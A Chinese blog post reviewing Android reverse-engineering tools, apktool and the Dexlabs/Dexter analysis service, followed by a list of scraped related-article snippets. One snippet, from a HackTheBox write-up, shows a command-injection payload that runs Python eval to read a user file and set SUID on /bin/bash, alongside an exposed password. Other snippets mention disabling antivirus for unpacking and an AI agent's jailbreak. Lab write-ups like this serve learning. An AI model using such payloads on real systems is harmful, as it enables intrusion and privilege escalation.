fxp
fxp

(30 hackdays day 18) Dexlabs - 有语言的逆向分析服务

以前我做过一段时间的Android逆向，当时是为了检查广告检查病毒，后来用来找到公开的intent跳转到应用内做搜索，再后来为了找到这些应用都跟哪些API打交道，从而统计SDK和产品之间的关联度。之后就再也没接触过这些了。不过前两天发现我还在订阅apk analyze的Google alert邮件，所以就决定再回来看看现在这领域都在玩哪些新玩意儿啦～（其实是找不到新API了吧...）

android-apktool

绝对的老牌选手了，从10年开始就在维护。貌似现在是Connor Tumbleson这家伙在维护。这家伙是Techcom Worldwide的程序员，看起来一直很专注在Android OS这块，以至于他的Vibe里只有两个Tag：Technology, Android OS。对比一下我的...唉，惭愧。（为毛会有粤语...）
图片描述

丫做了一堆网站，看了下觉得都挺好玩的。另外最近他把Wordpress换成了Ghost，太酷了！有没有Ghost的博客托管平台啊！顺便再膜拜一下Brut.alll！

图片描述

先看看2.0.0RC2的样子。好久没用过apktool了，第一眼看到的区别就是-advance这个参数，高级信息...是个啥...其他的，似乎跟上次见到的时候无甚差别。不过根据文章介绍，ApkTool终于支持Java7了。

具体的逆向过程我就不讲啦，因为以前做过这个。

dexlabs

主角儿来啦。当我说Reverse engineer的时候，你应该就想到了Reverse engineer as a Service吧～是的，Dexlab就是这样一个产品。看名字就很明白啦，这是个以分析APK为生的公司。

图片描述

里面又碰到一个第一眼不认识的词儿Heuristics（这是要改成30天速成英语四级么...）。好吧，一会儿再看这到底是啥高级功能。

这产品使用很简单，注册个账号，上传个apk，等它告诉你分析完了，就可以开始看结果啦。所以这是个编辑都会干的活儿（没有贬低的意思=.=）。因为是静态分析，所以也不用指望有什么很突破的功能。通过首页的示例基本就可以看出其中一个很重要的功能应该就是类似IDA pro的关联分析静态分析功能。

GMS

普通的小应用不值得分析，让我们直接上大招，Google Mobile Service。这是一套Google在Android上的核心服务，在国产手机上基本不能有。

上传完以后就开始分析，着进度条晃啊晃啊的烦死了，既然你丫不知道进度就谦逊一点嘛！大概4分钟以后分析完了（27MB确实比较大，以前的经验来说这种程序如果是java的就会跑崩了...）。好，下面是大图！可以很快的划过去。

这就是这个庞大的GMS的基本信息，就是APKTool能分析出来的那些。重点是看右边的那个Package Deps。好吧，完全看不出来啥了...基本也就能看出几种基本服务类型，Ad啊location啊啥的。

图片描述

最有意思的，是他们还为程序静态分析设计了一套类似SQL的语言，DXQL - Dexter Query Language。不过，通过他们在twitter上的这只推来看（只有一个retweet），应该不会有其他地方使用这种语言...

哦对，其实，这个平台主推的应该还是协作分析的功能。邀请他人来一起分析某个APK，听起来就跟搅基是同义词～

最后，我一直在寻找的API，在FAQ里找到了...

Which extraction/export interfaces does Dexter offer?
None yet. However we want to implement a SDK which can run on the user’s client computer for further analysis. If you contact us about that, it might help to schedule our priorities ;)

事实上，他们对很多功能的回复都是这个： If you contact us about...好吧，这是第一个没有API的XaaS。下次我尽量不那么水...

你可能感兴趣的:(30hackdays,hack)

  • 实战领域：脱壳操作手册 xixixi77777 脱壳动态脱壳红队安全
    一、环境准备（必须项）硬件隔离用一台物理机（非虚拟机）安装Windows10/11，关闭所有安全防护（Defender、防火墙）。硬件要求：至少16GB内存+SSD（防止内存转储卡顿）。工具包下载调试器：x64dbg（自带插件Scylla）内存分析：ProcessHacker2（监控内存分配）自动化脱壳：Unipacker（支持常见压缩壳）反反调试：TitanHide（内核级隐藏调试器）虚拟化执行
  • 网络安全最新HVV（护网）蓝队视角的技战法分析_护网技战法报告(1)，2024年最新网络安全开发基础作用 2401_84520093 程序员网络安全学习面试
    如何自学黑客&网络安全黑客零基础入门学习路线&规划初级黑客1、网络安全理论知识（2天）①了解行业相关背景，前景，确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。（非常重要）2、渗透测试基础（一周）①渗透测试的流程、分类、标准②信息收集技术：主动/被动信息搜集、Nmap工具、GoogleHacking③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF
  • 使用Unity引擎开发的Windows 11系统3D打地鼠游戏的方案 1079986725 手机游戏开发者Windows游戏java玩游戏
    创建Unity项目：使用UnityHub新建3D项目设置目标平台为Windows场景搭建：csharp//地鼠控制器WhackAMole.csusingUnityEngine;usingSystem.Collections;publicclassWhackAMole:MonoBehaviour{publicfloatpopupDuration=1.5f;publicfloatminHideTime
  • python hack库_这里有123个黑客必备的Python工具！ weixin_39637571 pythonhack库
    123个Python渗透测试工具，当然不仅于渗透~如果你想参与漏洞研究、逆向工程和渗透，我建议你时候用Python语言。Python已经有很多完善可用的库，我将在这里把他们列出来。这个清单里的工具大部分都是Python写成的，一部分是现有C库的Python绑定，这些库在Python中都可以简单使用。一些强力工具(pentestframeworks、bluetoothsmashers、webappl
  • Manus被「越狱」：创始人回应风波与开源转向 UR的出不克 人工智能manusagent
    Manus被「越狱」：创始人回应风波与开源转向早上刷推特，一条标签为"#Manus越狱"的话题炸了。这个前些日子刚刚融了A轮的AI新贵突然成了安全圈的焦点。熬了一整晚的咖啡还没喝完，Manus团队就陷入了灭火模式。「越狱」风波：始于一条推特事情的起因很"典型"——一位ID为"AIHacker_2023"的用户前天发了条推文："Manus的安全屏障形同虚设，两个prompt就能搞定，详情看图。"配图
  • 从零开始学习黑客技术，看这一篇就够了 网络安全-旭师兄 学习web安全python密码学网络安全
    基于入门网络安全/黑客打造的：黑客&网络安全入门&进阶学习资源包黑客，对于很多人来说，是一个神秘的代名词，加之影视作品夸张的艺术表现，使得黑客这个本来只专注于技术的群体，散发出亦正亦邪的神秘色彩。黑客源自英文hacker一词，最初曾指热心于计算机技术、水平高超的电脑高手，尤其是程序设计人员，逐渐区分为白帽、灰帽、黑帽等。其中，白帽黑客被称为道德黑客。他们不会非法入侵用户网络，而是通过一系列测试检查
  • 七个合法学习黑客技术的平台，让你从萌新成为大佬 黑客白帽子黑爷 学习php开发语言web安全网络
    1、HackThisSite提供在线IRC聊天和论坛，让用户交流更加方便。网站涵盖多种主题，包括密码破解、网络侦察、漏洞利用、社会工程学等。非常适用于个人提高网络安全技能2、HackaDay涵盖多个领域，包括黑客技术、科技、工程和DIY等内容，站内提供大量有趣的文章、视频、教程和新闻，帮助用户掌握黑客技术和DIY精神。3、OffensiveSecurity一个专门提供网络安全培训和认证的公司，课程
  • Anchor开发指南 web3
    参考文档：Hackquest:https://www.hackquest.io/zhSolana中文:https://www.solana-cn.com/SolanaDocumention/core/cpl.htmlAnchor官网:https://www.anchor-lang.com/docs/cross-program-invocations更多更及时的文章请访问作者博客原文链接：https
  • 从零开始学习黑客技术，看这一篇就够了 网络安全-旭师兄 学习web安全python密码学网络安全
    基于入门网络安全/黑客打造的：黑客&网络安全入门&进阶学习资源包黑客，对于很多人来说，是一个神秘的代名词，加之影视作品夸张的艺术表现，使得黑客这个本来只专注于技术的群体，散发出亦正亦邪的神秘色彩。黑客源自英文hacker一词，最初曾指热心于计算机技术、水平高超的电脑高手，尤其是程序设计人员，逐渐区分为白帽、灰帽、黑帽等。其中，白帽黑客被称为道德黑客。他们不会非法入侵用户网络，而是通过一系列测试检查
  • 七个合法学习黑客技术的平台，让你从萌新成为大佬 黑客白帽子黑爷 学习php开发语言web安全网络
    1、HackThisSite提供在线IRC聊天和论坛，让用户交流更加方便。网站涵盖多种主题，包括密码破解、网络侦察、漏洞利用、社会工程学等。非常适用于个人提高网络安全技能2、HackaDay涵盖多个领域，包括黑客技术、科技、工程和DIY等内容，站内提供大量有趣的文章、视频、教程和新闻，帮助用户掌握黑客技术和DIY精神。3、OffensiveSecurity一个专门提供网络安全培训和认证的公司，课程
  • 塑造网络安全的关键事件 斐夷所非 CyberSecurity网络安全
    注：本文为“网络安全”相关文章合辑。机翻，未校。TimelineofCyberSecurity:KeyEventsthatShapedtheField网络安全时间表：塑造该领域的关键事件October29,2023Cyberattacksareaneverydaythreat,alwayschanging.Theyrangefromsmallhacksbystudentstonation-leve
  • 七个合法学习黑客技术的平台，让你从萌新成为大佬 黑客白帽子黑爷 学习php开发语言web安全网络
    1、HackThisSite提供在线IRC聊天和论坛，让用户交流更加方便。网站涵盖多种主题，包括密码破解、网络侦察、漏洞利用、社会工程学等。非常适用于个人提高网络安全技能2、HackaDay涵盖多个领域，包括黑客技术、科技、工程和DIY等内容，站内提供大量有趣的文章、视频、教程和新闻，帮助用户掌握黑客技术和DIY精神。3、OffensiveSecurity一个专门提供网络安全培训和认证的公司，课程
  • 每日一题012-贪心和堆-洛谷p3045买奶牛 YQ_ZJH 每日一题算法java数据结构c++蓝桥杯贪心算法堆
    P3045USACO12FEBCowCouponsG题目背景Subtask0为原数据，Subtask1,2为hack数据。题目描述FarmerJohnneedsnewcows!ThereareNcowsforsale(1#include#include#definePIIstd::pair//使用pair记录编号usingi64=longlong;i64n,k,m;i64cur;//记录目前花的钱
  • 从零开始学习黑客技术，看这一篇就够了 网络安全-旭师兄 学习web安全安全python密码学
    基于入门网络安全/黑客打造的：黑客&网络安全入门&进阶学习资源包黑客，对于很多人来说，是一个神秘的代名词，加之影视作品夸张的艺术表现，使得黑客这个本来只专注于技术的群体，散发出亦正亦邪的神秘色彩。黑客源自英文hacker一词，最初曾指热心于计算机技术、水平高超的电脑高手，尤其是程序设计人员，逐渐区分为白帽、灰帽、黑帽等。其中，白帽黑客被称为道德黑客。他们不会非法入侵用户网络，而是通过一系列测试检查
  • （8/100）每日小游戏平台系列 github_czy 每日小游戏pythonflask游戏引擎游戏程序
    项目地址位于：小游戏导航新增一个打地鼠游戏！打地鼠（Whack-a-Mole）是一款经典的休闲游戏，玩家需要点击随机出现的地鼠，以获取分数。游戏时间有限，玩家需要在规定时间内尽可能多地击中地鼠，获得更高的分数。游戏规则：开始游戏：点击“开始游戏”按钮，游戏将倒计时30秒。游戏目标：点击出现的地鼠，每击中一次得1分。错过地鼠：如果点击空洞时没有地鼠，会显示“Miss!”。游戏结束：当游戏时间结束后，
  • 从零开始学习黑客技术，看这一篇就够了 网络安全-旭师兄 学习web安全python网络安全密码学
    基于入门网络安全/黑客打造的：黑客&网络安全入门&进阶学习资源包黑客，对于很多人来说，是一个神秘的代名词，加之影视作品夸张的艺术表现，使得黑客这个本来只专注于技术的群体，散发出亦正亦邪的神秘色彩。黑客源自英文hacker一词，最初曾指热心于计算机技术、水平高超的电脑高手，尤其是程序设计人员，逐渐区分为白帽、灰帽、黑帽等。其中，白帽黑客被称为道德黑客。他们不会非法入侵用户网络，而是通过一系列测试检查
  • hackthebox Busqueda EASY难度 一把梭哈 安河桥北2025 linuxbash运维安全
    自动执行sudo命令,自动给sudo命令输入密码:jh1usoih2bkjaspwe92curl-v-d"engine=Accuweather&query=1'%2bprint(eval(__import__('os').system('tac/home/svc/user.txt;cd/tmp;echo\"#\x21/bin/bash\nchmod%2bs/bin/bash\">full-chec
  • 【Tools/macOS系列】macOS终端配置：zsh+iTerm2+OhMyZsh 飞翔的鲲 【实用工具专栏】macOSzshiTerm2终端ohmyzsh
    DATE:2021.7.17文章目录1、前言2、参考3、终端和vim配置效果图4、终端配置步骤4.1、安装iTerm24.2、安装oh-my-zsh4.3、主题和颜色4.4、插件4.5、特殊字体Hackherdfont4.6、vim配置4.7、随时唤起4.8、自定义界面壁纸1、前言macOS的终端Terminal界面非常简单，没有Linux下面的颜色设置和自动补齐等功能，用起来非常不方便。本文讲解
  • cmake linux模板 多目录_【转载】CMake 简介和 CMake 模板 weixin_39790738 cmakelinux模板多目录
    如果你用Linux操作系统，使用cmake会简单很多，可以参考一个很好的教程：CMake入门实战|HaHack。如果你用Linux操作系统，而且只是运行一些小程序，可以看看我的另一篇博客：你就编译一个cpp，用CMake还不如用pkg-config呢。但如果你用Windows，很大的可能你会使用图形界面的CMake(cmake-gui.exe)和VisualStudio。本文先简单介绍使用CMak
  • 渗透测试工具包 开源安全测试工具 网络安全工具_网络安全渗透测试工具(1) 2401_84254011 程序员安全开源测试工具
    hackUtils-它是一个用于渗透测试和网络安全研究的黑客工具包，渗透以及web攻击脚本。msf框架：pocsscan攻击框架Pocsuite攻击框架Beebeeto攻击框架漏洞POC&EXP-ExploitDB官方git版本。php漏洞代码分析ysoserial-JAVA反序列化POC生成工具:JavaUnserializeExploits-JAVA反序列化EXP。JenkinsCommonC
  • 一篇文章带你理解黑客、骇客、白客、红客的区别和作用 编程小亦 黑客PHPphpweb安全安全
    遵循AI写法主编：hurrycry黑客（Hacker）黑客一词最早可以追溯到20世纪60年代的麻省理工学院（MIT）。当时，一群才华横溢的计算机爱好者，他们热衷于探索计算机系统的奥秘。这些人被称为黑客，他们最初的目的是为了更好地理解计算机的工作原理，通过编写程序来解决复杂的技术问题。他们以自己的技术能力为傲，并且有着强烈的好奇心和求知欲。例如，早期的黑客会尝试优化计算机的操作系统，或者找到新的方法
  • 2024山东省职业院校技能大赛“网络空间安全”赛题及赛题解析（超详细）_2024年山东省职业院校技能大赛中职组网络安全赛项竞赛样题(2) 2401_84252820 程序员安全web安全
    如何自学黑客&网络安全黑客零基础入门学习路线&规划初级黑客1、网络安全理论知识（2天）①了解行业相关背景，前景，确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。（非常重要）2、渗透测试基础（一周）①渗透测试的流程、分类、标准②信息收集技术：主动/被动信息搜集、Nmap工具、GoogleHacking③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF
  • 网络安全最新网络安全——网络层安全协议（2）(1)，2024年春招网络安全面试题 咕咕爱说耳机 网络安全学习面试
    如何自学黑客&网络安全黑客零基础入门学习路线&规划初级黑客1、网络安全理论知识（2天）①了解行业相关背景，前景，确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。（非常重要）2、渗透测试基础（一周）①渗透测试的流程、分类、标准②信息收集技术：主动/被动信息搜集、Nmap工具、GoogleHacking③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF
  • 安全研究员职业提升路径 rockmelodies 人工智能deepseek
    阶段一：基础能力沉淀期（0-3年）目标薪资：15-30万/年（国内）核心技能掌握渗透测试全流程（Web/App/内网）熟练使用BurpSuite、Metasploit、IDAPro等工具理解漏洞原理（如OWASPTop10、CVE漏洞复现）获得OSCP认证（实战渗透黄金标准）变现策略参与众测平台（HackerOne/Bugcrowd），积累漏洞奖金撰写技术博客，建立个人技术品牌参与企业红队外包项目
  • 独立开发日报：一个216点赞的效率工具，和4个解决开发者痛点的项目 Ethan独立开发 独立开发程序员赚钱副业
    今天在HackerNews上看到一个有趣的现象：一个macOS窗口管理工具获得了超过200个点赞，另外几个项目也都专注于提升开发者的日常效率。这些项目都很实用，一起来看看它们是如何解决开发者的实际问题的。1.FlashSpace-重新定义macOS窗口管理FlashSpace是一个开源的macOSSpaces替代品，它提供了更直观、更高效的窗口管理方式。这个项目获得了超过200个点赞，说明市场对更
  • Go与黑客(第一部分) 后端go
    本篇内容是根据2021年5月份#205HackingwithGo音频录制内容的整理与翻译Natalie和Mat从2位安全研究人员的角度探讨了Go中的黑客行为。JoakimKennedy和JAGS都使用Go进行黑客攻击：编写恶意软件、硬件黑客、逆向工程Go代码等等。过程中为符合中文惯用表达有适当删改,版权归原作者所有.NataliePistunovich:大家好，欢迎来到我们关于用Go进行黑客攻击的
  • Go与黑客(第四部分) 后端go
    本篇内容是根据2023年3月份#270HackingwithGo:Part4音频录制内容的整理与翻译我们的“HackingwithGo”系列继续！这次Natalie和Johnny与IvanKwiatkowski和JuanAndrésGuerrero-Saade一起讨论，我们的重点是泛型和人工智能。过程中为符合中文惯用表达有适当删改,版权归原作者所有.NataliePistunovich:今天这一期
  • 使用 TinyGo 和 Gopherbot 进行硬件hacking 后端go
    本篇内容是根据2019年4月份#84HardwarehackingwithTinyGoandGopherbot音频录制内容的整理与翻译MatRyer与特邀嘉宾RonEvans共同主持了第一期一对一采访式节目。Mat请Ron教我们有关IoT中的Go、Gophercon、TinyGo和Gopherbot的硬件黑客技术。过程中为符合中文惯用表达有适当删改,版权归原作者所有.MatRyer:大家好，我是M
  • Go与黑客(第二部分) 后端go
    本篇内容是根据2022年10月份#205HackingwithGo:Part2音频录制内容的整理与翻译我们再次从安全研究人员的角度探索Go中的黑客攻击。这次Natalie&Ian与IvanKwiatkowski（又名JusticeRage）一起讨论！过程中为符合中文惯用表达有适当删改,版权归原作者所有.NataliePistunovich：大家好，欢迎收听我们今天的节目！今天是周三，我们的录制时间
  • Go与黑客(第三部分) 后端go
    IvanKwiatkowski再次与Natalie一起探讨《HackingwithGo：第2部分》的后续剧集。这次我们将从用户/黑客的角度了解Ivan对Go安全功能的设计和使用方式的看法。当然，我们还将讨论人工智能如何融入这一切……本篇内容是根据2022年11月份#259HackingwithGo:Part3音频录制内容的整理与翻译过程中为符合中文惯用表达有适当删改,版权归原作者所有.Natali
  • web报表工具FineReport常见的数据集报错错误代码和解释 老A不折腾 web报表finereport代码可视化工具
    在使用finereport制作报表，若预览发生错误，很多朋友便手忙脚乱不知所措了，其实没什么，只要看懂报错代码和含义，可以很快的排除错误，这里我就分享一下finereport的数据集报错错误代码和解释，如果有说的不准确的地方，也请各位小伙伴纠正一下。   NS-war-remote=错误代码\:1117 压缩部署不支持远程设计 NS_LayerReport_MultiDs=错误代码
  • Java的WeakReference与WeakHashMap bylijinnan java弱引用
    首先看看 WeakReference wiki 上 Weak reference 的一个例子： public class ReferenceTest { public static void main(String[] args) throws InterruptedException { WeakReference r = new Wea
  • Linux——（hostname）主机名与ip的映射 eksliang linuxhostname
    一、 什么是主机名 无论在局域网还是INTERNET上，每台主机都有一个IP地址，是为了区分此台主机和彼台主机，也就是说IP地址就是主机的门牌号。但IP地址不方便记忆，所以又有了域名。域名只是在公网（INtERNET)中存在，每个域名都对应一个IP地址，但一个IP地址可有对应多个域名。域名类型 linuxsir.org 这样的； 主机名是用于什么的呢？ 答：在一个局域网中，每台机器都有一个主
  • oracle 常用技巧 18289753290
    oracle常用技巧 ①复制表结构和数据   create table  temp_clientloginUser as   select distinct userid from tbusrtloginlog ②仅复制数据 如果表结构一样 insert into  mytable  select  * &nb
  • 使用c3p0数据库连接池时出现com.mchange.v2.resourcepool.TimeoutException 酷的飞上天空 exception
    有一个线上环境使用的是c3p0数据库，为外部提供接口服务。最近访问压力增大后台tomcat的日志里面频繁出现 com.mchange.v2.resourcepool.TimeoutException: A client timed out while waiting to acquire a resource from com.mchange.v2.resourcepool.BasicResou
  • IT系统分析师如何学习大数据 蓝儿唯美 大数据
    我是一名从事大数据项目的IT系统分析师。在深入这个项目前需要了解些什么呢？学习大数据的最佳方法就是先从了解信息系统是如何工作着手，尤其是数据库和基础设施。同样在开始前还需要了解大数据工具，如Cloudera、Hadoop、Spark、Hive、Pig、Flume、Sqoop与Mesos。系 统分析师需要明白如何组织、管理和保护数据。在市面上有几十款数据管理产品可以用于管理数据。你的大数据数据库可能
  • spring学习——简介 a-john spring
    Spring是一个开源框架，是为了解决企业应用开发的复杂性而创建的。Spring使用基本的JavaBean来完成以前只能由EJB完成的事情。然而Spring的用途不仅限于服务器端的开发，从简单性，可测试性和松耦合的角度而言，任何Java应用都可以从Spring中受益。其主要特征是依赖注入、AOP、持久化、事务、SpringMVC以及Acegi Security 为了降低Java开发的复杂性，
  • 自定义颜色的xml文件 aijuans xml
    <?xml version="1.0" encoding="utf-8"?> <resources> <color name="white">#FFFFFF</color> <color name="black">#000000</color> &
  • 运营到底是做什么的？ aoyouzi 运营到底是做什么的？
    文章来源：夏叔叔（微信号：woshixiashushu），欢迎大家关注！很久没有动笔写点东西，近些日子，由于爱狗团产品上线，不断面试，经常会被问道一个问题。问：爱狗团的运营主要做什么？答：带着用户一起嗨。为什么是带着用户玩起来呢？究竟什么是运营？运营到底是做什么的？那么，我们先来回答一个更简单的问题——互联网公司对运营考核什么？以爱狗团为例，绝大部分的移动互联网公司，对运营部门的考核分为三块——用
  • js面向对象类和对象 百合不是茶 js面向对象函数创建类和对象
    接触js已经有几个月了,但是对js的面向对象的一些概念根本就是模糊的,js是一种面向对象的语言 但又不像java一样有class,js不是严格的面向对象语言 ,js在java web开发的地位和java不相上下  ,其中web的数据的反馈现在主流的使用json,json的语法和js的类和属性的创建相似   下面介绍一些js的类和对象的创建的技术   一:类和对
  • web.xml之资源管理对象配置 resource-env-ref bijian1013 javaweb.xmlservlet
    resource-env-ref元素来指定对管理对象的servlet引用的声明，该对象与servlet环境中的资源相关联 <resource-env-ref> <resource-env-ref-name>资源名</resource-env-ref-name> <resource-env-ref-type>查找资源时返回的资源类
  • Create a composite component with a custom namespace sunjing
    https://weblogs.java.net/blog/mriem/archive/2013/11/22/jsf-tip-45-create-composite-component-custom-namespace   When you developed a composite component the namespace you would be seeing would
  • 【MongoDB学习笔记十二】Mongo副本集服务器角色之Arbiter bit1129 mongodb
     一、复本集为什么要加入Arbiter这个角色 回答这个问题，要从复本集的存活条件和Aribter服务器的特性两方面来说。 什么是Artiber？ An arbiter does not have a copy of data set and cannot become a primary. Replica sets may have arbiters to add a
  • Javascript开发笔记 白糖_ JavaScript
    获取iframe内的元素 通常我们使用window.frames["frameId"].document.getElementById("divId").innerHTML这样的形式来获取iframe内的元素，这种写法在IE、safari、chrome下都是通过的，唯独在fireforx下不通过。其实jquery的contents方法提供了对if
  • Web浏览器Chrome打开一段时间后，运行alert无效 bozch Webchormealert无效
    今天在开发的时候，突然间发现alert在chrome浏览器就没法弹出了，很是怪异。 试了试其他浏览器，发现都是没有问题的。 开始想以为是chorme浏览器有啥机制导致的，就开始尝试各种代码让alert出来。尝试结果是仍然没有显示出来。 这样开发的结果，如果客户在使用的时候没有提示，那会带来致命的体验。哎，没啥办法了 就关闭浏览器重启。   结果就好了，这也太怪异了。难道是cho
  • 编程之美-高效地安排会议 图着色问题 贪心算法 bylijinnan 编程之美
    import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.Random; public class GraphColoringProblem { /**编程之美 高效地安排会议 图着色问题 贪心算法 * 假设要用很多个教室对一组
  • 机器学习相关概念和开发工具 chenbowen00 算法matlab机器学习
    基本概念： 机器学习(Machine Learning, ML)是一门多领域交叉学科，涉及概率论、统计学、逼近论、凸分析、算法复杂度理论等多门学科。专门研究计算机怎样模拟或实现人类的学习行为，以获取新的知识或技能，重新组织已有的知识结构使之不断改善自身的性能。 它是人工智能的核心，是使计算机具有智能的根本途径，其应用遍及人工智能的各个领域，它主要使用归纳、综合而不是演绎。 开发工具 M
  • [宇宙经济学]关于在太空建立永久定居点的可能性 comsci 经济
           大家都知道,地球上的房地产都比较昂贵,而且土地证经常会因为新的政府的意志而变幻文本格式........        所以,在地球议会尚不具有在太空行使法律和权力的力量之前,我们外太阳系统的友好联盟可以考虑在地月系的某些引力平衡点上面,修建规模较大的定居点
  • oracle 11g database control 证书错误 daizj oracle证书错误oracle 11G 安装
    oracle 11g database control 证书错误  win7 安装完oracle11后打开 Database control 后，会打开em管理页面，提示证书错误，点“继续浏览此网站”，还是会继续停留在证书错误页面 解决办法： 是 KB2661254 这个更新补丁引起的，它限制了 RSA 密钥位长度少于 1024 位的证书的使用。具体可以看微软官方公告：
  • Java I/O之用FilenameFilter实现根据文件扩展名删除文件 游其是你 FilenameFilter
    在Java中，你可以通过实现FilenameFilter类并重写accept(File dir, String name) 方法实现文件过滤功能。 在这个例子中，我们向你展示在“c:\\folder”路径下列出所有“.txt”格式的文件并删除。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
  • C语言数组的简单以及一维数组的简单排序算法示例，二维数组简单示例 dcj3sjt126com carray
    # include <stdio.h> int main(void) { int a[5] = {1, 2, 3, 4, 5}; //a 是数组的名字 5是表示数组元素的个数，并且这五个元素分别用a[0], a[1]...a[4] int i; for (i=0; i<5; ++i) printf("%d\n",
  • PRIMARY, INDEX, UNIQUE 这3种是一类 PRIMARY 主键。 就是 唯一 且 不能为空。 INDEX 索引，普通的 UNIQUE 唯一索引 dcj3sjt126com primary
    PRIMARY, INDEX, UNIQUE 这3种是一类PRIMARY 主键。 就是 唯一 且 不能为空。INDEX 索引，普通的UNIQUE 唯一索引。 不允许有重复。FULLTEXT 是全文索引，用于在一篇文章中，检索文本信息的。举个例子来说，比如你在为某商场做一个会员卡的系统。这个系统有一个会员表有下列字段：会员编号   INT会员姓名  
  • java集合辅助类 Collections、Arrays shuizhaosi888 CollectionsArraysHashCode
      Arrays、Collections   1 ）数组集合之间转换 public static <T> List<T> asList(T... a) { return new ArrayList<>(a); }      a）Arrays.asL
  • Spring Security（10）——退出登录logout 234390216 logoutSpring Security退出登录logout-urlLogoutFilter
           要实现退出登录的功能我们需要在http元素下定义logout元素，这样Spring Security将自动为我们添加用于处理退出登录的过滤器LogoutFilter到FilterChain。当我们指定了http元素的auto-config属性为true时logout定义是会自动配置的，此时我们默认退出登录的URL为“/j_spring_secu
  • 透过源码学前端 之 Backbone 三 Model 逐行分析JS源代码 backbone源码分析js学习
    Backbone 分析第三部分  Model 概述： Model 提供了数据存储，将数据以JSON的形式保存在 Model的 attributes里， 但重点功能在于其提供了一套功能强大，使用简单的存、取、删、改数据方法，并在不同的操作里加了相应的监听事件， 如每次修改添加里都会触发 change，这在据模型变动来修改视图时很常用，并且与collection建立了关联。
  • SpringMVC源码总结（七）mvc:annotation-driven中的HttpMessageConverter 乒乓狂魔 springMVC
    这一篇文章主要介绍下HttpMessageConverter整个注册过程包含自定义的HttpMessageConverter，然后对一些HttpMessageConverter进行具体介绍。 HttpMessageConverter接口介绍： public interface HttpMessageConverter<T> { /** * Indicate
  • 分布式基础知识和算法理论 bluky999 算法zookeeper分布式一致性哈希paxos
      分布式基础知识和算法理论 BY [email protected] 本文永久链接：http://nodex.iteye.com/blog/2103218   在大数据的背景下，不管是做存储，做搜索，做数据分析，或者做产品或服务本身，面向互联网和移动互联网用户，已经不可避免地要面对分布式环境。笔者在此收录一些分布式相关的基础知识和算法理论介绍，在完善自我知识体系的同
  • Android Studio的.gitignore以及gitignore无效的解决 bell0901 androidgitignore
    　　github上.gitignore模板合集，里面有各种.gitignore ： https://github.com/github/gitignore 　　自己用的Android Studio下项目的.gitignore文件，对github上的android.gitignore添加了 　　　　　　# OSX files　　　　　　//mac os下　　　　　　.DS_Store
  • 成为高级程序员的10个步骤 tomcat_oracle 编程
    What 软件工程师的职业生涯要历经以下几个阶段：初级、中级，最后才是高级。这篇文章主要是讲如何通过 10 个步骤助你成为一名高级软件工程师。   Why 得到更多的报酬！因为你的薪水会随着你水平的提高而增加 提升你的职业生涯。成为了高级软件工程师之后，就可以朝着架构师、团队负责人、CTO 等职位前进 历经更大的挑战。随着你的成长，各种影响力也会提高。
  • mongdb在linux下的安装 xtuhcy mongodblinux
    一、查询linux版本号： lsb_release -a  LSB Version:    :base-4.0-amd64:base-4.0-noarch:core-4.0-amd64:core-4.0-noarch:graphics-4.0-amd64:graphics-4.0-noarch:printing-4.0-amd64:printing-4.0-noa
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他